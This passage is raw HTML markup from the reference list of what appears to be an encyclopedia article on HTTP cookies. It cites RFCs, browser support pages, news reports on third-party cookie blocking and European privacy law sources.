href="https://datatracker.ietf.org/doc/html/rfc2109">2109</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=RFC+2109%2C+HTTP+State+Management+Mechanism%2C+Set-Cookie+syntax&rft.pages=sec.-4.2.2&rft.date=2014-03&rft_id=info%3Adoi%2F10.17487%2FRFC2109&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A6914676%23id-name%3DS2CID&rft.aulast=Kristol&rft.aufirst=D.&rft.au=Montulli%2C+L.&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc2109%26%23035%3Bsection-4.2.2&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-QKuwv-55"><span class="mw-cite-backlink"><b><a href="#cite_ref-QKuwv_55-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBarth2011" class="citation cs1">Barth, A. (2011). <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.1"><i>RFC 6265, HTTP State Management Mechanism</i></a>. sec. 5.1.1. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.17487%2FRFC6265">10.17487/RFC6265</a></span>. <a href="/wiki/Request_for_Comments" title="Request for Comments">RFC</a> <a rel="nofollow" class="external text" href="https://datatracker.ietf.org/doc/html/rfc6265">6265</a>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=RFC+6265%2C+HTTP+State+Management+Mechanism&rft.pages=sec.-5.1.1&rft.date=2011&rft_id=info%3Adoi%2F10.17487%2FRFC6265&rft.aulast=Barth&rft.aufirst=A.&rft_id=https%3A%2F%2Fdatatracker.ietf.org%2Fdoc%2Fhtml%2Frfc6265%26%23035%3Bsection-5.1.1&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-nyQ00-56"><span class="mw-cite-backlink"><b><a href="#cite_ref-nyQ00_56-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://inikulin.github.io/cookie-compat/#MOZILLA0001">"Cookies specification compatibility in modern browsers"</a>. <i>inikulin.github.io</i>. 2016. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20161002124029/http://inikulin.github.io/cookie-compat/#MOZILLA0001">Archived</a> from the original on 2 October 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">30 September</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=inikulin.github.io&rft.atitle=Cookies+specification+compatibility+in+modern+browsers&rft.date=2016&rft_id=https%3A%2F%2Finikulin.github.io%2Fcookie-compat%2F%23MOZILLA0001&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-wASD0-57"><span class="mw-cite-backlink"><b><a href="#cite_ref-wASD0_57-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFColes" class="citation web cs1">Coles, Peter. <a rel="nofollow" class="external text" href="http://mrcoles.com/blog/cookies-max-age-vs-expires/">"HTTP Cookies: What's the difference between Max-age and Expires? – Peter Coles"</a>. <i>Mrcoles.com</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20160729011727/http://mrcoles.com/blog/cookies-max-age-vs-expires/">Archived</a> from the original on 29 July 2016<span class="reference-accessdate">. Retrieved <span class="nowrap">28 July</span> 2016</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Mrcoles.com&rft.atitle=HTTP+Cookies%3A+What%27s+the+difference+between+Max-age+and+Expires%3F+%E2%80%93+Peter+Coles&rft.aulast=Coles&rft.aufirst=Peter&rft_id=http%3A%2F%2Fmrcoles.com%2Fblog%2Fcookies-max-age-vs-expires%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Symantec-2007-2nd-exec-58"><span class="mw-cite-backlink"><b><a href="#cite_ref-Symantec-2007-2nd-exec_58-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation report cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20080625065121/http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf">Symantec Internet Security Threat Report: Trends for July–December 2007 (Executive Summary)</a> <span class="cs1-format">(PDF)</span> (Report). Vol. XIII. Symantec Corp. April 2008. pp. 1–3. Archived from <a rel="nofollow" class="external text" href="http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf">the original</a> <span class="cs1-format">(PDF)</span> on 25 June 2008<span class="reference-accessdate">. Retrieved <span class="nowrap">11 May</span> 2008</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=report&rft.btitle=Symantec+Internet+Security+Threat+Report%3A+Trends+for+July%E2%80%93December+2007+%28Executive+Summary%29&rft.pages=1-3&rft.pub=Symantec+Corp.&rft.date=2008-04&rft_id=http%3A%2F%2Feval.symantec.com%2Fmktginfo%2Fenterprise%2Fwhite_papers%2Fb-whitepaper_exec_summary_internet_security_threat_report_xiii_04-2008.en-us.pdf&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-eyMbr-59"><span class="mw-cite-backlink"><b><a href="#cite_ref-eyMbr_59-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFWhalen2002" class="citation web cs1">Whalen, David (8 June 2002). <a rel="nofollow" class="external text" href="http://www.cookiecentral.com/faq/">"The Unofficial Cookie FAQ v2.6"</a>. Cookie Central. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20110824223646/http://www.cookiecentral.com/faq/">Archived</a> from the original on 24 August 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=The+Unofficial+Cookie+FAQ+v2.6&rft.pub=Cookie+Central&rft.date=2002-06-08&rft.aulast=Whalen&rft.aufirst=David&rft_id=http%3A%2F%2Fwww.cookiecentral.com%2Ffaq%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-microsoft2007-60"><span class="mw-cite-backlink"><b><a href="#cite_ref-microsoft2007_60-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://support.microsoft.com/kb/283185">"How to Manage Cookies in Internet Explorer 6"</a>. Microsoft. 18 December 2007. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20081228074307/http://support.microsoft.com/kb/283185">Archived</a> from the original on 28 December 2008<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=How+to+Manage+Cookies+in+Internet+Explorer+6&rft.pub=Microsoft&rft.date=2007-12-18&rft_id=http%3A%2F%2Fsupport.microsoft.com%2Fkb%2F283185&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-bv35c-61"><span class="mw-cite-backlink"><b><a href="#cite_ref-bv35c_61-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top">"Clearing private data"</a>. <i>Firefox Support Knowledge base</i>. Mozilla. 16 September 2008. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20090103092440/http://support.mozilla.com/en-US/kb/Clearing+Private+Data#top">Archived</a> from the original on 3 January 2009<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Firefox+Support+Knowledge+base&rft.atitle=Clearing+private+data&rft.date=2008-09-16&rft_id=http%3A%2F%2Fsupport.mozilla.com%2Fen-US%2Fkb%2FClearing%2BPrivate%2BData%23top&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-zuzB8-62"><span class="mw-cite-backlink"><b><a href="#cite_ref-zuzB8_62-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.google.com/support/chrome/bin/answer.py?answer=95582">"Clear Personal Information : Clear browsing data"</a>. <i>Google Chrome Help</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20090311132912/http://www.google.com/support/chrome/bin/answer.py?answer=95582">Archived</a> from the original on 11 March 2009<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Google+Chrome+Help&rft.atitle=Clear+Personal+Information+%3A+Clear+browsing+data&rft_id=https%3A%2F%2Fwww.google.com%2Fsupport%2Fchrome%2Fbin%2Fanswer.py%3Fanswer%3D95582&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-xGdEB-63"><span class="mw-cite-backlink"><b><a href="#cite_ref-xGdEB_63-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://www.google.com/support/chrome/bin/answer.py?answer=95626">"Clear Personal Information: Delete cookies"</a>. <i>Google Chrome Help</i>. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20090311132750/http://www.google.com/support/chrome/bin/answer.py?answer=95626">Archived</a> from the original on 11 March 2009<span class="reference-accessdate">. Retrieved <span class="nowrap">4 January</span> 2009</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Google+Chrome+Help&rft.atitle=Clear+Personal+Information%3A+Delete+cookies&rft_id=https%3A%2F%2Fwww.google.com%2Fsupport%2Fchrome%2Fbin%2Fanswer.py%3Fanswer%3D95626&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-BYMXD-64"><span class="mw-cite-backlink"><b><a href="#cite_ref-BYMXD_64-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://webcookies.org/third-party-cookies/">"Third party domains"</a>. WebCookies.org. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20141209234746/http://webcookies.org/third-party-cookies/">Archived</a> from the original on 9 December 2014<span class="reference-accessdate">. Retrieved <span class="nowrap">7 December</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Third+party+domains&rft.pub=WebCookies.org&rft_id=http%3A%2F%2Fwebcookies.org%2Fthird-party-cookies%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-cOnAw-65"><span class="mw-cite-backlink"><b><a href="#cite_ref-cOnAw_65-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://webcookies.org/number-of-cookies/">"Number of cookies"</a>. WebCookies.org. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20141209235956/http://webcookies.org/number-of-cookies/">Archived</a> from the original on 9 December 2014<span class="reference-accessdate">. Retrieved <span class="nowrap">7 December</span> 2014</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=Number+of+cookies&rft.pub=WebCookies.org&rft_id=http%3A%2F%2Fwebcookies.org%2Fnumber-of-cookies%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-zw6bb-66"><span class="mw-cite-backlink"><b><a href="#cite_ref-zw6bb_66-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFStatt2020" class="citation web cs1">Statt, Nick (24 March 2020). <a rel="nofollow" class="external text" href="https://www.theverge.com/2020/3/24/21192830/apple-safari-intelligent-tracking-privacy-full-third-party-cookie-blocking">"Apple updates Safari's anti-tracking tech with full third-party cookie blocking"</a>. <i>The Verge</i><span class="reference-accessdate">. Retrieved <span class="nowrap">24 July</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=The+Verge&rft.atitle=Apple+updates+Safari%27s+anti-tracking+tech+with+full+third-party+cookie+blocking&rft.date=2020-03-24&rft.aulast=Statt&rft.aufirst=Nick&rft_id=https%3A%2F%2Fwww.theverge.com%2F2020%2F3%2F24%2F21192830%2Fapple-safari-intelligent-tracking-privacy-full-third-party-cookie-blocking&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-GSofz-67"><span class="mw-cite-backlink"><b><a href="#cite_ref-GSofz_67-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://venturebeat.com/2019/06/04/firefox-enhanced-tracking-protection-blocks-third-party-cookies-by-default/">"Firefox starts blocking third-party cookies by default"</a>. <i>VentureBeat</i>. 4 June 2019<span class="reference-accessdate">. Retrieved <span class="nowrap">24 July</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=VentureBeat&rft.atitle=Firefox+starts+blocking+third-party+cookies+by+default&rft.date=2019-06-04&rft_id=https%3A%2F%2Fventurebeat.com%2F2019%2F06%2F04%2Ffirefox-enhanced-tracking-protection-blocks-third-party-cookies-by-default%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-sUPt1-68"><span class="mw-cite-backlink"><b><a href="#cite_ref-sUPt1_68-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFBrave2020" class="citation web cs1">Brave (6 February 2020). <a rel="nofollow" class="external text" href="https://brave.com/ok-google/">"OK Google, don't delay real browser privacy until 2022"</a>. <i>Brave Browser</i><span class="reference-accessdate">. Retrieved <span class="nowrap">24 July</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Brave+Browser&rft.atitle=OK+Google%2C+don%27t+delay+real+browser+privacy+until+2022&rft.date=2020-02-06&rft.au=Brave&rft_id=https%3A%2F%2Fbrave.com%2Fok-google%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-xiHRq-69"><span class="mw-cite-backlink"><b><a href="#cite_ref-xiHRq_69-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFProtalinski2020" class="citation web cs1">Protalinski, Emil (19 May 2020). <a rel="nofollow" class="external text" href="https://venturebeat.com/2020/05/19/google-chrome-83/">"Chrome 83 arrives with redesigned security settings, third-party cookies blocked in Incognito"</a>. <i>VentureBeat</i><span class="reference-accessdate">. Retrieved <span class="nowrap">25 June</span> 2020</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=VentureBeat&rft.atitle=Chrome+83+arrives+with+redesigned+security+settings%2C+third-party+cookies+blocked+in+Incognito&rft.date=2020-05-19&rft.aulast=Protalinski&rft.aufirst=Emil&rft_id=https%3A%2F%2Fventurebeat.com%2F2020%2F05%2F19%2Fgoogle-chrome-83%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-70"><span class="mw-cite-backlink"><b><a href="#cite_ref-70">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFAmadeo2024" class="citation web cs1">Amadeo, Ron (24 April 2024). <a rel="nofollow" class="external text" href="https://arstechnica.com/gadgets/2024/04/google-delays-third-party-cookie-death-again-now-scheduled-for-2025/">"Google can't quit third-party cookies—delays shut down for a third time"</a>. <i>Ars Technica</i><span class="reference-accessdate">. Retrieved <span class="nowrap">25 April</span> 2024</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=Ars+Technica&rft.atitle=Google+can%27t+quit+third-party+cookies%E2%80%94delays+shut+down+for+a+third+time&rft.date=2024-04-24&rft.aulast=Amadeo&rft.aufirst=Ron&rft_id=https%3A%2F%2Farstechnica.com%2Fgadgets%2F2024%2F04%2Fgoogle-delays-third-party-cookie-death-again-now-scheduled-for-2025%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-71"><span class="mw-cite-backlink"><b><a href="#cite_ref-71">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFLawler2024" class="citation web cs1">Lawler, Richard (22 July 2024). <a rel="nofollow" class="external text" href="https://www.theverge.com/2024/7/22/24203893/google-cookie-tracking-prompt-ad-targeting-privacy-sandbox">"Google's plan to turn off third-party cookies in Chrome is dying"</a>. <i>The Verge</i><span class="reference-accessdate">. Retrieved <span class="nowrap">29 July</span> 2024</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=The+Verge&rft.atitle=Google%27s+plan+to+turn+off+third-party+cookies+in+Chrome+is+dying&rft.date=2024-07-22&rft.aulast=Lawler&rft.aufirst=Richard&rft_id=https%3A%2F%2Fwww.theverge.com%2F2024%2F7%2F22%2F24203893%2Fgoogle-cookie-tracking-prompt-ad-targeting-privacy-sandbox&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-dCj3R-72"><span class="mw-cite-backlink"><b><a href="#cite_ref-dCj3R_72-0">^</a></b></span> <span class="reference-text">Miyazaki, Anthony D. (2008), "Online Privacy and the Disclosure of Cookie Use: Effects on Consumer Trust and Anticipated Patronage," Journal of Public Policy & Marketing, 23 (Spring), 19–33</span> </li> <li id="cite_note-BnfI7-73"><span class="mw-cite-backlink"><b><a href="#cite_ref-BnfI7_73-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation news cs1"><a rel="nofollow" class="external text" href="https://www.nytimes.com/2005/12/29/national/29cookies.html">"Spy Agency Removes Illegal Tracking Files"</a>. <i>New York Times</i>. 29 December 2005. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20111112115242/http://www.nytimes.com/2005/12/29/national/29cookies.html">Archived</a> from the original on 12 November 2011<span class="reference-accessdate">. Retrieved <span class="nowrap">19 February</span> 2017</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=article&rft.jtitle=New+York+Times&rft.atitle=Spy+Agency+Removes+Illegal+Tracking+Files&rft.date=2005-12-29&rft_id=https%3A%2F%2Fwww.nytimes.com%2F2005%2F12%2F29%2Fnational%2F29cookies.html&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-JISC-74"><span class="mw-cite-backlink"><b><a href="#cite_ref-JISC_74-0">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx">"EU Cookie Directive, Directive 2009/136/EC"</a>. JISC Legal Information. <a rel="nofollow" class="external text" href="https://web.archive.org/web/20121218093525/http://www.jisclegal.ac.uk/ManageContent/ViewDetail/ID/1347/EU-Cookie-Directive--Directive-2009136EC.aspx">Archived</a> from the original on 18 December 2012<span class="reference-accessdate">. Retrieved <span class="nowrap">31 October</span> 2012</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=unknown&rft.btitle=EU+Cookie+Directive%2C+Directive+2009%2F136%2FEC&rft.pub=JISC+Legal+Information&rft_id=http%3A%2F%2Fwww.jisclegal.ac.uk%2FManageContent%2FViewDetail%2FID%2F1347%2FEU-Cookie-Directive--Directive-2009136EC.aspx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-ICO_reference-75"><span class="mw-cite-backlink">^ <a href="#cite_ref-ICO_reference_75-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-ICO_reference_75-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation book cs1"><a rel="nofollow" class="external text" href="https://web.archive.org/web/20121030103207/http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx"><i>Privacy and Electronic Communications Regulations</i></a>. Information Commissioner's Office. 2012. Archived from <a rel="nofollow" class="external text" href="http://www.ico.gov.uk/for_organisations/privacy_and_electronic_communications/the_guide/~/media/documents/library/Privacy_and_electronic/Practical_application/cookies_guidance_v3.ashx">the original</a> on 30 October 2012<span class="reference-accessdate">. Retrieved <span class="nowrap">31 October</span> 2012</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=Privacy+and+Electronic+Communications+Regulations&rft.pub=Information+Commissioner%27s+Office&rft.date=2012&rft_id=http%3A%2F%2Fwww.ico.gov.uk%2Ffor_organisations%2Fprivacy_and_electronic_communications%2Fthe_guide%2F~%2Fmedia%2Fdocuments%2Flibrary%2FPrivacy_and_electronic%2FPractical_application%2Fcookies_guidance_v3.ashx&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-76"><span class="mw-cite-backlink"><b><a href="#cite_ref-76">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://ico.org.uk/for-organisations/guide-to-pecr/cookies-and-similar-technologies/">"Cookies and similar technologies"</a>. <i>ico.org.uk</i>. 1 January 2021<span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=ico.org.uk&rft.atitle=Cookies+and+similar+technologies&rft.date=2021-01-01&rft_id=https%3A%2F%2Fico.org.uk%2Ffor-organisations%2Fguide-to-pecr%2Fcookies-and-similar-technologies%2F&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-eur-lex.europa.eu-77"><span class="mw-cite-backlink">^ <a href="#cite_ref-eur-lex.europa.eu_77-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-eur-lex.europa.eu_77-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite class="citation web cs1"><a rel="nofollow" class="external text" href="https://eur-lex.europa.eu/legal-content/EN/ALL/?uri=CELEX:62017CN0673">"EUR-Lex - 62017CN0673 - EN - EUR-Lex"</a>. <i>eur-lex.europa.eu</i><span class="reference-accessdate">. Retrieved <span class="nowrap">6 June</span> 2021</span>.</cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Ajournal&rft.genre=unknown&rft.jtitle=eur-lex.europa.eu&rft.atitle=EUR-Lex+-+62017CN0673+-+EN+-+EUR-Lex&rft_id=https%3A%2F%2Feur-lex.europa.eu%2Flegal-content%2FEN%2FALL%2F%3Furi%3DCELEX%3A62017CN0673&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-Veale-78"><span class="mw-cite-backlink">^ <a href="#cite_ref-Veale_78-0"><sup><i><b>a</b></i></sup></a> <a href="#cite_ref-Veale_78-1"><sup><i><b>b</b></i></sup></a></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFVealeZuiderveen_Borgesius2021" class="citation cs2">Veale, Michael; Zuiderveen Borgesius, Frederik (1 April 2021), <a rel="nofollow" class="external text" href="https://osf.io/wg8fq"><i>Adtech and Real-Time Bidding under European Data Protection Law</i></a>, <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.31235%2Fosf.io%2Fwg8fq">10.31235/osf.io/wg8fq</a></span>, <a href="/wiki/Hdl_(identifier)" class="mw-redirect" title="Hdl (identifier)">hdl</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://hdl.handle.net/2066%2F253518">2066/253518</a></span>, <a href="/wiki/S2CID_(identifier)" class="mw-redirect" title="S2CID (identifier)">S2CID</a> <a rel="nofollow" class="external text" href="https://api.semanticscholar.org/CorpusID:243311598">243311598</a></cite><span title="ctx_ver=Z39.88-2004&rft_val_fmt=info%3Aofi%2Ffmt%3Akev%3Amtx%3Abook&rft.genre=book&rft.btitle=Adtech+and+Real-Time+Bidding+under+European+Data+Protection+Law&rft.date=2021-04-01&rft_id=info%3Ahdl%2F2066%2F253518&rft_id=https%3A%2F%2Fapi.semanticscholar.org%2FCorpusID%3A243311598%23id-name%3DS2CID&rft_id=info%3Adoi%2F10.31235%2Fosf.io%2Fwg8fq&rft.aulast=Veale&rft.aufirst=Michael&rft.au=Zuiderveen+Borgesius%2C+Frederik&rft_id=https%3A%2F%2Fosf.io%2Fwg8fq&rfr_id=info%3Asid%2Fen.wikipedia.org%3AHTTP+cookie" class="Z3988"></span></span> </li> <li id="cite_note-79"><span class="mw-cite-backlink"><b><a href="#cite_ref-79">^</a></b></span> <span class="reference-text"><link rel="mw-deduplicated-inline-style" href="mw-data:TemplateStyles:r1238218222"><cite id="CITEREFZuiderveen_Borgesius2015" class="citation journal cs1">Zuiderveen Borgesius, Frederik J. (August 2015). <a rel="nofollow" class="external text" href="https://doi.org/10.1093%2Fidpl%2Fipv011">"Personal data processing for behavioural targeting: which legal basis?"</a>. <i>International Data Privacy Law</i>. <b>5</b> (3): 163–176. <a href="/wiki/Doi_(identifier)" class="mw-redirect" title="Doi (identifier)">doi</a>:<span class="id-lock-free" title="Freely accessible"><a rel="nofollow" class="external text" href="https://doi.org/10.1093%2Fidpl%2Fipv011">10.1093/idpl/ipv011</a></span>. <a href="/wiki/ISSN_(identifier)" class="mw-redirect" title="ISSN (identifier)">ISSN</a> <a rel="nofollow" class="external text" 